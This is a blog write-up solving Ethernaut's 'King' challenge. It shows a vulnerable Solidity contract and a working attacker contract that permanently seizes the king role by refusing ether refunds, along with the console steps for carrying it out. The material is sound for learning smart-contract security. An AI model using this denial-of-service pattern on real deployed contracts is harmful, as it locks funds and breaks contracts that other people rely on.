DEV Community

Cover image for Ethernaut Hacks Level 9: King
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 9: King

This is the level 9 of Ethernaut game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to prevent the current level from reclaiming the kingship after instance is submitted.

Kingship is switched in receive function i.e. when a specific value is sent to King. So, we'll have to somehow prevent execution of receive.

The key thing to notice is that previous king is sent back msg.value using transfer. But what if this previous king was a contract and it didn't implement any receive or fallback? It won't be able to receive any value. And because of this transfer stops execution with an exception (unlike send). Gotcha!

Let's make a contract ForeverKing that has NO receive or fallback:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForeverKing {
    function claimKingship(address payable _to) public payable {
        (bool sent, ) = _to.call.value(msg.value)("");
        require(sent, "Failed to send value!");
    }
}
Enter fullscreen mode Exit fullscreen mode

Query the current prize:

await contract.prize().then(v => v.toString())

// Output: '1000000000000000'
Enter fullscreen mode Exit fullscreen mode

So at least 1000000000000000 wei is required to claim kingship.

Get your instance's address, so that ForeverKing can send value to it:

contract.address

// Output: <your-instance-address>
Enter fullscreen mode Exit fullscreen mode

Call claimKingship of ForeverKing with param <your-instance-address> and set the amount 1000000000000000 wei as value in Remix. That will make ForeverKing contract as king.

Submit the instance. Upon submitting the level will try to reclaim kingship through receive fallback. However, it will fail.

This is because upon reaching line:

king.transfer(msg.value);
Enter fullscreen mode Exit fullscreen mode

exception would occur because king (i.e. deployed ForeverKing contract) has no fallback functions.

Level cleared.

Bonus thing to note here is that in ForeverKing's claimKingship, call is used specifically. transfer or send will fail because of limited 2300 gas stipend. receive of King would require more than 2300 gas to execute successfully.

Of course, there are probably other ways too to prevent a successful receive execution.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)